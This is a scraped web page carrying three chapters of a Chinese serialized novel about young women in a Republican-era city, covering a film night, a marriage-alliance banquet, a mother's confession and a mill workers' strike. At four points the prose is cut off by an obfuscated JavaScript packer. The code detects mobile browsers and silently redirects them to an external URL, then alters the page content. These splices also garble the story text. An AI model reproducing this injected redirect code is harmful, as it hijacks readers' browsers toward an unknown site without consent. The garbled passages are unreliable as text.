她眼睛睁得极大,嘴唇轻微张开,好像怕惊扰了什么圣物。 “哇……”她低低吐出这声,几乎不是在说话,而是惊叹。 电影是黑白的,画面不算清晰,声音里带着老式留声机的沙沙响。主角茜茜公主第一次骑马出场时,她头发在风中飞舞,眼睛亮得像星星,一句“我不想嫁人,我想去环游世界”,就让全场悄悄安静了一瞬。 她不是那种规规矩矩的公主,她会偷跑出去爬树,躲在厨房帮厨子做点心。她第一次见到皇帝时正穿着一身不合规矩的猎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502448|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装,头发还乱着,脸上是被阳光晒红的热度。可她却毫不怯场地说:“我是我父亲的女儿,不是王冠的附属。” “这台词真漂亮……”黎婉芝小声赞叹。 陈蔚青心里轻轻一动。 电影后半段,茜茜嫁给了皇帝,却在礼仪、宫规和女人的敌意中渐渐失语。她看着镜中被打理得无可挑剔的自己,轻声说:“我变得连我自己都不认识了。”然后独自一人离开了宫廷,去了海边。 镜头拍下她在海边骑马、在山上读书,在一间开满牵牛花的小屋里独自生活。直到某天皇帝来找她,说:“我需要的是你,不是一个完美的皇后。” “可我不再知道,我是谁了。”茜茜说。 电影的最后,她还是回到了维也纳,坐在王座边,却闭上了眼睛,像是困倦了很久。 电影就这样在她在王座上的打盹里结束了。” 灯光亮起。 电影院一时静默。三人都没有说话,像是被这场黑白梦缠了一整晚,谁也没先醒过来。 “你们说……”罗简先开口,声音有点哑,“她开心吗?” “她自由吗?”黎婉芝说。 “她是她自己吗?”陈蔚青问。 然后三人对视了一眼,忽然笑了。 “唉……”婉芝伸个懒腰,“南州的三个平凡女子,操着公主的心。蔚青你想想得了,我费个什么劲。” “但你不觉得……”蔚青慢慢说,“她其实是我们都想过的那种人吗?反叛一点、聪明一点、不太妥协……但最后还是回去了。” 三人走出影院,风吹起街上的灯光,脚边是汽水瓶滚落的声音。外头街灯还亮着,街上人影稀落,三人一言不发地走了一段路,才在路口一起笑了起来。 南州街头的灯光不像北方城市那样明亮,却也足够照出人影。几家杂货铺还没打烊,街角传来卖糖人的吆喝声。风吹过明珠电影院的门帘,扬起一缕缕刚刚被电影熏热的回忆。 “她真美啊……”罗简一边走一边念叨,仿佛还沉在电影里,“那个海边的镜头,我都想哭了。” “你是羡慕她的裙子,还是她那匹白马?”黎婉芝打趣她。 “是她那句‘我变得连我自己都不认识了’。”罗简小声说。她的声音有些迟疑,像是怕自己太过认真了。 三人走到旧城区的小巷口,月亮从云层里探出头来,昏黄的街灯下,她们的影子拉得老长。 忽然,罗简像是心血来潮,轻轻哼起了刚才电影里反复出现的一首旋律。 那是一句德语的歌,调子柔柔的,像是穿过维也纳的风。她不会德语,只是在模仿她的发音,词也记得不全,调子甚至有点走音,可唱得极认真,眼睛望着月亮,像是要把整个梦留住。 陈蔚青和黎婉芝都停住了脚步。 月光落在她们身上,白色的、薄薄的,像洒了一层旧时代的银粉。 罗简唱到一半,又抬头看月亮,仿佛她的声音是要给谁听的。 陈蔚青低声说:“……简直跟电影里面一模一样。” 罗简一愣,回头看她,脸上浮现一点茫然的笑:“是吗?” “是真的。”黎婉芝走上前去,伸手抱住她的肩,像是忽然被触动了什么,“阿简,以后你一定要演电影。” “我?”罗简愣住。 “当然!你之前不是说了吗,你想演,而且你可以的!”婉芝盯着她看,“那就够了。” 她们就这样走在路灯与月光交错的街道上,像三根并肩燃烧的火柴。光亮很小,却足够照亮脚下的石板路。 陈蔚青忽然想到,如果有一天罗简真的出现在银幕上,她一定还记得这个夜晚——那个旧街口、电影院门口、电影刚放完的夜晚。 15. 地狱也有其法则 “我还是觉得你该去看看。”唐敬微坐在铜镜前,一边拨弄着鬓边的发丝,一边说。 陈蔚青没有答话,只是站在她身后,替她拎着那件银灰色的旗袍,布料轻薄柔滑,像是水中捞起的月光。她手指抚过旗袍的花边,心却在想着另一个地方。 “沈家的老夫人病了,沈太太从南京赶回来,眼下肯定要见见你这个‘未来的小儿媳’。”唐敬微语气不重,语气却像是温水里的石子,一点一点沉到底。 “我又没说要嫁过去。”陈蔚青低声。 “你没说,但你也没否认。”唐敬微回头看她一眼,眼里那种半温柔半锐利的审视,让人喘不过气,“怎么,他当时不是你挑的男伴?” 外面天色还早,院子里的桂花已经落了一地,风吹来时,有几朵贴在窗纸上,仿佛一只只不愿离去的旧梦。 “你从前不是说过吗,女人要有自己的声音?”唐敬微轻轻笑了一声,“沈家要你,沈公子喜欢你,作为陈家小姐足够举足轻重,你不说话,他们也会听到你的声音。” 她没有等女儿回答,只是接过旗袍,自顾自穿上。镜子里映出母女两人的影子,一前一后,一个沉静,一个彷徨。 蔚青忽然低声说:“宣之于口的,真的都是我的声音吗?” 唐敬微穿好衣服,又换了双耳坠。她不看镜子,只看女儿,没有回答她的问题:“你别总一副心不在焉的样子,今天是给你脸面。你要是不去,不止我没面子,陈家其他旁支也要说闲话。” “我和沈时砚其实……没那回事。”陈蔚青终于忍不住了,低声反驳。 “有没有那回事,不是你说了算的,也不重要。”唐敬微转身,那声音像是藏着鞭子的丝绒,“你去宴会上站一站,不欠你什么。你今天不去,明天你爹就要亲自来请你了。” 陈蔚青深吸一口气,没有再说话。 母亲和她坐上了汽车,父亲早已经坐在副驾驶了。见她们上来,他挥了挥手,示意司机启动。 车开了一会,在一家富丽堂皇的西式餐厅前停了下来。门前停着几辆南州难得一见的私家车,门童西装笔挺,站得笔直,像一道暗示着权力等级的门槛。 她们三人走进去,陈蔚青从一进门起就觉得冷。 不是天冷,屋里的炉子烧得正旺,紫檀木桌面被烘得温热,长桌正中还摆着刚煲好的参汤,香气缭绕。但她仍觉得冷,像是从骨头缝里升起的一股寒意。 这不是一次普通的宴会,而是一场会谈——两家的会谈。整家餐厅都被包下,所有客人都被清走,西式的厅堂里却摆满了传统中式器具。横摆着一张老紫檀长桌,桌沿雕着一簇簇莲花,美丽且虚假,地砖是广式嵌花。长桌一侧坐着沈家人,一侧坐着陈家人,正中坐着沈家老夫人和陈蔚青的外祖母,身后各站着几位神情肃穆的佣人。 陈蔚青坐在长桌最末尾,沈时砚就在她身旁。他们像是被搁置在棋盘角落的两枚棋子,外表沉静,实则无从选择。 “南市第三码头的调拨权,贵方若是愿意放手一成,我们自然可以在通关上网开一面。”沈家二叔温吞地说,声音里却带着分毫不让的精明算计。 陈家老二陈叔云冷哼一声:“港口的流转你们占了七成,还要我们让一成?沈二爷怕不是忘了去年东区铁道是谁出的本?” 一时之间,空气像凝固了一样。连汤壶里的烟都绕得更慢,桌面仿佛响起了什么无法言说的“滴答”声。 “先不谈这个,伤了和气。”主位上的沈老夫人忽然开口,她声音不大,却沉稳如钟,“年轻人的婚事,定得怎么样了?” 顿时,所有目光都移向了桌角。 陈蔚青的指尖顿时一紧,几乎能听见自己掌心里渗出的汗珠滚落。沈时砚坐得更直了些,他穿着深灰长衫,领口扣得整整齐齐,斯文得体,倒像是一个清清白白的旁观者。 “我觉得——”他终于开口,声音平静得像一杯放凉的清茶,“这些事长辈们做主,我们晚辈听就是。” 话音落下的那一瞬,蔚青只觉得五雷轰顶。 他怎么可以这样说?这不过是一场演戏,他怎么就真的把决定权交了出去?那是他们的“假戏”,现在却像是真要成了别人写的戏文。她只觉得脑子里“嗡”的一声,突突地疼,好像什么声音都听不见了,只剩下空气中的低压与自己的心跳。 “大哥的婚事有什么用?”沈老太太身边的沈时墨忽然开口,声音清亮又带着少年人的冲撞,“他一心想着去北平谋个大学里的差事好分家呢,分了家还不知道是不是沈家人。” “沈时墨!”沈父沈则谦沉声喝住,“你怎么说你大哥的!” “好了好了……”沈老太太抬手止住,“时墨也不是有意的,童言无忌。时砚,你也别介意,他还小。” 蔚青耳朵发热,视野像在收紧,仿佛连空气都要塌下来。她觉得自己必须离开——哪怕只是一小会儿也好。 她绞尽脑汁,英文不行,至少她的父母都听得懂。那……或许……她只学过一点点,只是在梁老师讲到歌德的浮士德的时候偷偷记下来的。但或许,或许真的可以—— 诱惑浮士德的魔鬼梅菲斯特说:“地狱本身也有法则。倒是妙极了,如此便能立契约,与诸位大人,你们这些先生,妥善达成?” 她忽然伸手握住沈时砚的手,低声、急促地说了一句:“DieHoelleselbsthatihreRechte.” 地狱本身也有其法则——都是合约、交易。 沈时砚微微一愣,转头看她。她怕他没听明白,正想着怎么换个方式再说一遍,却见他站起来,动作不快却坚定,手还扶着她的手臂:“抱歉,蔚青说她不舒服,我们出去一下。” 两人站起身,动作像是被编排好的舞步,整齐、体面,没人阻拦。他们从众目睽睽中走出去,像是推开了这间密不透风的大厅的一扇窗。 空气扑面而来,那才是真正的冷,却让人呼吸得更顺了。 夜风扑面,街道上只剩下零星的车灯和几声晚归电车的“叮铃”。陈蔚青一路沉默,直到走出餐厅正门那段铺着碎石的台阶,在半盏路灯下,她终于停下脚步。 她转身看他,眼睛在昏黄灯光下微微泛着湿意,声音却格外清楚:“刚才你为什么就那样把决定权交出去了?” 沈时砚垂着眼,没立刻说话。半晌,他才轻声答:“我……不知道,我只是觉得,他们好像都很满意。” “你跟我说——”陈蔚青像是被点燃了情绪,猛地提高声音,“你因为他们满意,就答应了下来!?” 风吹过她耳边,她的语速却丝毫没减,语气一寸寸地咄咄逼人:“他们不满意你搞你的计算机器,你就不做了?他们不满意你去北平当老师,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502449|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不去了!?那你到底在坚持什么?” 沈时砚急忙摇了摇头:“我不是这个意思。” “那是什么意思?”她逼视着他,一字一顿。 他终于抬起头,眼里却没有辩解,只有一种被触碰到的温柔痛楚:“……我只是觉得,我母亲很满意。” 他说这话时,嘴角甚至还带着一点难以察觉的苦涩笑意,像是习惯了努力去取悦一个人,却突然真的取悦成功了的迷惘。 陈蔚青一时没听懂:“你说……姚夫人?她不是那种——” “她是。”沈时砚低低地说,打断了她,“她就是那种‘新女性’。她年少时离家出走,讲独立、讲救国、讲新文化新社会男女平等……她不是会逼我成家立业、光耀门楣的那种人。” 他说着,却露出一丝讽刺般的笑意:“但她也从来没满意过我。” 风吹乱了他鬓角的头发,他轻轻吸了一口气,又慢慢吐出来。 “直到我跟她提起你。”他看着她,眼神忽然变得很深,“我说你聪明,博学,对什么都好奇;你会动手,会教别人识字,会写文章,还会争一口气。她听着听着,眼神变了……那是她第一次,看我的眼神里,好像不是失望。” 陈蔚青像是忽然被风拍了一下,站在那儿,一时说不出话。 陈蔚青低声问:“怎么会……?她……我以为她是……” 她本想说:“我以为她是我理想中的完美母亲”,但话卡在喉咙里。她望着夜色中沈时砚的侧脸,却忽然说不出这句赞美的话来。 沈时砚垂着眼,声音很轻,却不像他平时那样温吞,而是近乎机械地念出一段往事。 “她生下我弟弟以后就回娘家了。”他顿了一下,“那年我九岁,我大姐十五岁,我弟弟刚刚出生。” “我度过了九年有母亲陪伴的日子……正好,不长不短。”他说着笑了一下,笑得苦涩,“如果像我大姐那样,整个童年都有她陪着,或许她会变成一个更真实的人,不是那么遥远;或者像我弟弟那样,从一开始就没有,至少……不用期待。” 陈蔚青怔怔地看着他,一时说不出话来。 “我知道她在做很有意义的事。”沈时砚缓缓道,“她回了南京,办慈善学校,研究法律,出版杂志……她的名字出现在不少文章、演讲里。是南方最早支持女学生留洋的几位之一。” “她给别人的女儿奖学金,给贫民的孩子课本……就是没有空,给自己的儿子讲一篇课文。”他轻声道。 风从街角绕过来,带着一点桂花香味。可沈时砚的语气却淡得像是沉在水底。 “她是我最早见过的‘新女性’,独立、自主、讲道理……但她也从不看我画的电路图,也从不参加我的升学典礼。” “有时候我在想,是不是我做得还不够。是不是只要我再好一点,她就会满意。” 他慢慢抬起头,眼神有些疲惫,却不再是少年那种逃避的懦弱,而是一种终于认清了的疲倦。 “那天她听我说起你,她居然笑了……她说,‘这样聪明又肯钻研的女孩子可不多,你以后要好好扶持她。’” “你知道她从来没说过类似的话。”他说,“所以,我就……想留下那点东西。” 他转头看向她,语气缓慢:“我知道,这不该是你来承担的。” “你脑子有问题吧?” 16. 母亲、母亲 沈时砚的话音刚落,夜风中忽然传来一句刺耳的话:“你脑子有问题吧?” 两人猛地转头,就见沈时墨一手插着高级西装的口袋,一手晃着一枝不知从哪儿折来的细树枝,站在他们身后,完全没有了刚刚长桌上那个贵公子的模样,昂贵的西装给他穿出了一种随性。他脸上挂着满脸“真无语了”的表情。 “你怎么——”沈时砚差点跳起来,“你在后面多久了?” “你们一出门我就跟出来啦。”沈时墨理直气壮地说,“一看你俩那表情就知道准没好事,结果一听,还真是没好事。” 他瞥了他哥一眼,又瞥一眼陈蔚青,耸耸肩:“不好意思啊蔚青姐,之前你们在密谋‘假情侣’的时候,我就在外面偷听了。”他说得轻描淡写,像是说自己在院子里逮了只猫,“虽然偷听是我不对,但我也帮了你一把,我们算是扯平了。” “我一看哥好像要假戏真做,你都吓傻了,还愣着。我不出来救你,难不成看他一头栽进坑里?” 沈时砚脸色发白,像是词汇突然全部失效了,站在原地结结巴巴:“我……我不是……我没……你——” “你什么你。”沈时墨毫不客气地打断他,“你就因为妈说了两句好话,就要把蔚青姐拉下水?你以为自己是献身革命呢?母亲要知道你这点算盘,她得羞愧而死啊。” 陈蔚青“扑哧”一声,忍不住笑出来,又有些歉意地说:“那你刚才在餐桌上那么失礼……没事吗?” “应该会被爹训一顿吧。”沈时墨抖抖肩,“但老太太疼我,不会出大问题。” 他眨了眨眼,又轻轻敲了敲沈时砚的额头:“哥你听好了,我骂你那几句,老太太和父亲都听见了。他们肯定会重新考虑这段联姻,至少……不会那么关注了。” “你要自由,我替你掀了桌子;你要成亲,我也不拦你——但下次别拖人下水了,好吗?”他撇撇嘴。 “好的。”沈时砚愣愣地回答,不知道谁才是兄谁才是弟。 风又起了,吹得树叶沙沙响,夜色中三人静了一会。 然后沈时墨一拍手,像个打完仗就打算走人的士兵:“行啦,我说完了,我回去了,回去看我会不会被爹追着念三页《大学》。你们要搞罗曼蒂克,记得搞清楚是真的还是假的,别回头我又得替你们收拾烂摊子。” 他转身走了几步,忽然又回头喊了一句:“蔚青姐,虽然我哥这次把事情搞得一团糟,但他还是个很好的人——很好的哥哥,你相信我。” 晚宴散了,两家人各自散去,陈蔚青和父母回到车行在夜路上,路边的小摊贩点起的煤油灯打车窗上,一明一灭。南州市也像散了场,万物都藏进了夜色的褶皱里。她想起了一句话,她一直记得的,但一直没懂,直到今天,直到沈时砚的那一番话。 “有时候她比谁都像小孩。” 那位平日只闻其名、从不露面的“姚夫人”,一直是蔚青印象中那种站在远处的女主人:开女学的进步女性、沈家的贤内助、在各种传闻里冷静周全又手段老练的女人。 可在沈时砚的嘴里,她是完全另外一种人:一个有时候像外交官,有时候像个孩子的女人。 会给自己的儿子找借口逃宴会。可能是早就明白什么是“形式”,也早就不屑去演。但她也从来不给孩子们一个满意的眼神,一个鼓励的笑容,因为她从来就不在他们身边。 她想起母亲,在她自己第一次给自己梳头的时候,在她第一次能完整的背下一首诗的时候,在她写出第一篇英语文章的时候,那个满意的笑。 她好久没看见了,以至于差点忘了。 后来母亲就永远站在最中心,衣着得体,说话不疾不徐,像个从不犯错的秤砣,稳稳压在整个家庭和洋行的平衡上。 她有没有可能,不是我想象的那种人。陈蔚青想着。她看了看坐在旁边的母亲,母亲正吹着晚风,手中握着只象牙骨扇,扇骨却未张开,指节微弯,像是拈着什么不肯松手的意念。 车轮在石板路上滚过时发出一声不紧不慢的颠簸声,像谁轻敲了她的心。 蔚青把头靠在窗上,眼神追着窗外一盏盏街灯的残影。宴会结束已有一段时间了,可那些交谈、微笑、点头、推杯换盏的声音依然像蛛网似地黏在耳后。 她突然想知道。非常想。 “妈。”她已经多久没用过这个称呼了,这个称呼已经被“母亲”取代了太久。 “我想问你一个问题。”蔚青望着窗外,像是在说给夜色听,“如果你很想做一件事,可你知道,你的家人不会接受。你还会去做吗?” 母亲沉默了。 这个沉默比回答更像一种回应,像是有人突然拂开了一层布,露出下面微微喘息的事物。 她一直以为,母亲会坚定地说:当然不。 但她没想到的是,母亲缓缓开口,声音像凝固在风中:“会。” 夜已经很深了。 陈宅的走廊被壁灯照得幽幽亮,风从外墙那棵老槐树间吹进来,带着微咸的江气。 书房的门虚掩着,蔚青坐在书桌前,手中捏着一支没有墨水的钢笔。她已经坐了很久了,什么都没写,什么都没想,只是盯着桌面那道小小的刮痕出神。 屋子很安静。安静到她能听见自己脑海里残余的风声,还有那句仍未散去的低语: ——“会。” 她反复想着母亲说这句话时的神情,那只是一种已经走过很多风雨的人,终于承认自己曾绕道而行的平静。 “你还没睡?”身后传来一道轻轻的女声。 母亲站在门口,没有穿她惯常的褙子,而是披了件家常的薄绸长衣,头发松松挽着,灯光下看不清表情。 蔚青没有转身,只轻轻“嗯”了一声。 母亲没有多说什么,走进来,在她旁边的藤椅坐下,把手中那把半旧的象牙骨扇轻轻摆在膝上。 两人沉默了好一会儿,只有风吹过窗纸,发出“嗒嗒”的声响,像什么将要揭开。 “你是不是在想,我为什么会那样回答。”母亲终于开口,声音比平常低了许多。 蔚青点点头。 母亲没有立刻继续。她垂下眼帘,像是在过一道很远的门槛。 “我小的时候啊,家里是南街巷子里一户人家,门口种着一棵柚子树,夏天特别热,但柚子叶子多,遮得住光。”她慢慢说道,“我们家不是穷苦到揭不开锅,但也说不上好。娘缝衣服,爹教书,书塾里来来去去都是些街坊邻里的孩子。” “爹倒是认真,整天讲‘立身以立学为先’,总说读书能修身,修身能齐家。他也教我识字,还教我背诗。只是……” 她没有说只是后面的话,可能是找不到一个合适的词。 “我十六岁那年,爹说,有个屠户家来提亲了,说是人勤快、家里有肉吃,还能分几块地。他让我快点答应,他说:‘敬微,这是你几辈子修来的福气啊’。”她笑了一下,笑容像是从喉头逼出来的,“我问他,你讲了一辈子仁义礼智信,到头来要我嫁给一个我从来没见过的人?” “他打了我一耳光,说‘哪个女人不是这样的?就不该教你那么多书,还是得听人说,女子无才便是德……’他骂太难听。我第二天就走了。” 蔚青怔了一下。 “那时候,洋人刚在西码头开了家餐厅,要招会写字的女服务生。我正巧,什么都不会,只会写字。”她轻描淡写地说着,语气平淡得像在讲别人。 “我一开始只能擦桌子,端盘子。有人摸我的手,我还不敢吭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512513|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。”她轻轻叹了一口,“但我只能硬撑,我没有家可以回,我去哪呢?父亲家?还是那个屠户家?我去看他们用什么菜单,听他们讲英语,我也跟着学。”她顿了顿,声音更轻了些,“就是在那里,遇到了你父亲。” “他当时是陈家大少爷,和几个朋友来喝咖啡,笑话我们念得‘tartelette’发音不准。我回嘴了。他好像觉得有意思,又来了几次,就熟了。”母亲——那个叫唐敬微的女人轻轻摩挲着扇骨,“后来他约我出来,说想和我过日子。我是傻子,以为遇上了救星。” “刚开始确实很好。”她望着窗外,“他带我去听剧场的莎士比亚,去北边看玫瑰花开,还给我写情诗。他说他想去英国留学,写小说、研究戏剧。” “我说好。我说你去,我在这里等你。” “可还没来得及走,陈家的老爷子就忽然病倒了。” 她的手指轻轻一抖。 “你父亲慌了。他根本不想当家,整天念王尔德、叶芝,哪知道香料怎么运、账怎么结、关系怎么打?” “他把自己关在书房整整三天,最后来找我。他跪在我膝盖边上哭,说他不知道该怎么办。” 她闭了闭眼:“那天晚上,我第一次觉得,我不能等人来救我了。” “我摸了摸他的头,跟他说,‘你做不好的,就我来。’” “从那以后,陈家所有的账、所有的路,都是我一手撑起来的。” 她站起身,收好那把扇子,轻声道:“睡吧。” 她转身走到门边。 “妈。”陈蔚青忽然叫住她,声音不高,却带着一点难以启齿的执念。 母亲回头看她。 “我真的和沈时砚……没有。”她低声说。 屋里顿了一下。 唐敬敬看着她,眼神没有波动太多,只像是看着一个她早就能预见的答案。 “有没有感情无所谓。”她淡淡道,“主要是沈家能护着你。” “我就你一个女儿。”她缓缓走回来,在门边站定,语气依旧平静,“你知道我生你的时候,血流得整整一盆。我差点死在床上。” “你父亲急疯了。”她轻轻笑了下,“他把他见过的所有中医、西医都请来,家里金条银票一夜花出去一大堆,才勉强把我和你都保了下来。” “可能是因为感情吧。”她的语气一顿,“也可能是他心里清楚——我要是真死了,就没人替他撑起陈家了。他就得自己扛,他扛不住。” “你知道他后来再也不敢让我怀孕了吗?”她轻轻一笑,“不敢。他说他怕再出点事,就两个都没了。” “但老太太不这么想。”她收起了笑,“她一直觉得,你父亲那一房的人早晚要退下去,陈家的家业,要回到你堂哥手里。就是你父亲弟弟的儿子,是老太太的长孙。” 她顿了顿,眼神淡淡地望着蔚青:“我不是不疼你。我是知道,这陈家——没人会因为你姓陈就让着你半分。不想被你堂哥们吃干抹净了,你就得找个好的靠山。” “沈家现在风头正盛,沈太太又念旧。你和沈时砚私交不错,比起让你去嫁个新起的军需商、或者什么不知根底的人——他是最好的选择。”她语气很轻,却字字落地。 “有没有感情不重要。”她轻声说,“你父亲娶我那会,也说过一辈子都只爱我一个。” “但你看——到最后,只能勉强算得上相敬如宾。” 她看了她一眼,眼神里没有责备,也没有强求,只有一种冷静至极的提醒。 “我不拦你,也不逼你。但你自己要想清楚了。” 说完,她转身走出门去,背影在门框投下斜长的一道影子,夜风将那影子吹得轻轻摇晃,像她的扇子在风里轻轻颤动。 17. 永丰纱厂 冬天的南州格外阴冷,不是因为气温很低——甚至没到能下雪的天气,而是水汽搅和着寒冷灌进人的衣服里。 永丰纱厂的晨哨声“呜——”地响了三遍,像冬天的风一样,干冷、长而苦涩,贴着耳骨刮过去。 可厂门前空空荡荡,工人没有动。 灰扑扑的天压得低低的,风从西北角巷口灌进来,穿过铁门缝、厂房的砖墙缝,带着冷水气和陈年棉絮的尘味,吹得人手指发麻。陈蔚青站在马路对面的一棵槐树下,身上的斗篷被风掀起一角,围巾贴着脖子,却总觉得冷是从脚心往骨头缝里钻的。 她从未见过永丰厂门口这样混乱过。 女工们裹着棉布围裙,有人戴着褪色的军绿色手套,有人干脆把破旧的毛线帽反过来套在手上防寒。几个中年妇人蹲在厂门口的砖阶上,鼻头红红的,嘴里吐着白气,一边嚼着冷饭团一边骂:“一到冬天就拖工钱,这年还怎么过!” 孩子的啼哭声从人群中断断续续地传来。 厂门开着一条缝,像张开嘴却不说话的人。 这时——人群中忽然爆出一句尖嗓门的喊声:“今天不进厂!阿妹的手断了,厂里一个屁都不放,我们就坐着,不走了!” 喊话的是个穿深蓝粗布衣的女工,站在一只翻过来的汽油桶上,脚下垫了两块砖。她手里拎着一条灰围巾,在空中一圈一圈甩着,像是在挥旗。 “不给赔偿,别想让我们动机器!” “我们要见东家!沈家不给交代,我们不干了!” “我们也是人!” 陈蔚青一怔,望向那喊话女人脚下的墙角—— 一个穿旧蓝袄的女孩蜷在那里,脸冻得发青,嘴唇干裂,右手被层层纱布包裹着,包布已经被药水和血污染成暗黑色,像一坨褪色的棉花。她的眼睛睁着,却像蒙了一层雾。 她心里一紧,赶忙往人群里挤,鞋底踩在湿冷的青砖上,被泥块绊了一下,差点摔倒。 “罗简!”她喊了一声,终于看见了那张熟悉的侧脸。 罗简披着件藏蓝色粗呢外套,围巾一圈圈缠得很紧,脸冻得泛红,一只手揣在兜里,一只手攥着一张皱巴巴的白纸。她看到蔚青,眼里闪过一丝急促的光。 “蔚青姐!”她拉了她一把,声音压低,“你怎么来了?” “怎么回事?你……你们怎么都在这?” “我哥听说他们要闹工伤赔偿,就拉我一起来。”她指了指不远处一个站在汽油桶边的青年——那是罗炽南,脸色铁青,双臂交叉抱在胸前,身上的棉袄开了线,露出里面破旧的内衬。 “我们认识这个女孩,她平时话不多,但人特别认真。”罗简低声说,声音有点哑,“她刚进厂一个月就出事了,手绞进去的时候,工头还在旁边骂她慢。” “厂里只给了她三块钱,还叫她别来闹事。”罗炽南咬牙,“他们觉得把我们当什么了?” 这时,一道清脆的女声插了进来:“我早上看了现场,就跑回去排版了。” 黎婉芝走了过来,穿着厚厚的呢子斗篷,围巾几乎盖住了半张脸,手上还捏着几张油墨未干的报纸样稿。 “我帮你们写了,写得很直接。”她说,“标题是《纱厂少女断臂真相》,内容包括现场描述、阿妹的口供,还有你们在场的几位工友作证。” “我一会就去女中偷偷印,先印两百张,街头派、茶楼派、码头也派,让大家都知道——你们不是一个人在喊。” 罗炽南斜了她一眼,冷冷地哼了一声:“你印这个干什么?拿来做功课写作示范吗?” 婉芝一下子僵住了。 “我不是那个意思……” “那你什么意思?”罗炽南直视她,“你觉得我们这些人的命,只有你写出来才算数,是不是?” “哥……”罗简轻轻拉了拉他袖子,小声劝,“婉芝姐是真想帮我们。” 罗炽南没说话,眼神依旧不信。 陈蔚青看了看三人,又低声问:“那……沈时砚呢?他……他不是沈家人?他应该能——” “别把他扯进来了。”罗炽南冷笑,“他是只关心他那科学、技术的沈家少爷。他懂什么?” “他也没有那么……”蔚青小声反驳。 “没有那么什么?没有那么活在天上?就算这样他又能说上什么话?”罗炽南看她一眼,“别拿他说事。他来不来,都不会有人赔钱的。” 气氛凝住了几秒。 “可我们也不能什么都不做。”婉芝轻轻开口,像是捡回自己的位置,“我真的想帮你们。我印了报纸,明天之前,整个南州城都会知道这件事——到时候,就不是只有你们在喊了。” 她摊开手里的排印稿,纸页在冷风中微微颤抖,上面用黑体印着标题,字体有点歪,但分外醒目。 罗简接过来看了看,又递给她哥。 罗炽南低头扫了一眼,没有说话。 他终于点了点头。 “试试看。”他说,“要是这稿子真能让他们怕一点……我们就再多喊几句。” 风越吹越紧,厂门后传来几声铁器拖动的闷响,像是有人在里面走动。 陈蔚青缩了缩脖子,把围巾紧了紧。 她没再多说,只是抬头望了一眼厂门上那块漆黑的“永丰纱厂”招牌——木质的边框已经被雨打裂了几道纹,像是纸上泼墨后未干的痕迹。 她转身离开人群,朝另一边巷口走去。 沈家的小书房在西厢,窗子对着一口枯井,四周高墙,冬天里格外阴冷。 沈时砚正在桌边翻一本英文小说,毛呢夹衣随意搭在椅背上,脚边是一只剥了一半皮的橘子。他看到蔚青被仆人领进来,立刻站了起来。 “你怎么来了?”他说,“今早风这么大,外头全是灰。” “我从永丰那边过来。”蔚青说。 沈时墨正窝在窗台上啃花生,一听这话挑了下眉:“你也跑厂门口凑热闹啦?” “不是凑热闹。”她抿了一下嘴唇,“是有人受伤了,事情闹得不小。工人不进厂,报纸也在跟。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15516017|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她顿了顿,“我想和你们谈谈。” 兄弟俩交换了个眼神。 “我们也听说了点。”沈时砚把书放下,皱了皱眉,“但现在是父亲在管厂务,老太太身体也不太好,我……我一时也不知道该怎么插手。” “我不是来让你们下决定的。”蔚青声音不高,却有点急,“我只是想知道,这件事你们愿不愿意——尽快去谈一谈。” “赔偿的问题可以慢慢说,可现在人心已经散了,厂门口都快围不下了。婉芝已经在印报纸了,简和炽南也都在现场,气氛很不好……”陈蔚青越说越急。 “什么?”沈时砚眉头一拧,站了起来,“他们也参加了?……怎么都不跟我说一声?” “你要是问他们,他们就会说吗?”沈时墨在一旁慢悠悠地说,嗑花生的手没停,“你在他们眼里是‘沈家少爷’,不是朋友。” 沈时砚怔住了,一时无言。 陈蔚青叹了口气:“我不是在责怪你。我只是想说——他们都急坏了,厂里没人说话,他们真的快撑不住了。” 沈时砚低头想了想,转身一边换外套一边说:“我去看看。” 已是中午,永丰纱厂外面的人越围越多。 冬天的太阳像被水蒸汽包着,照不出一点暖。围在厂门口的人越来越多,有学生、有工人,还有一些本地小报社记者蹲在墙角抽烟做笔记。人声嘈杂,空气里混着锅边热气和铁锈味。 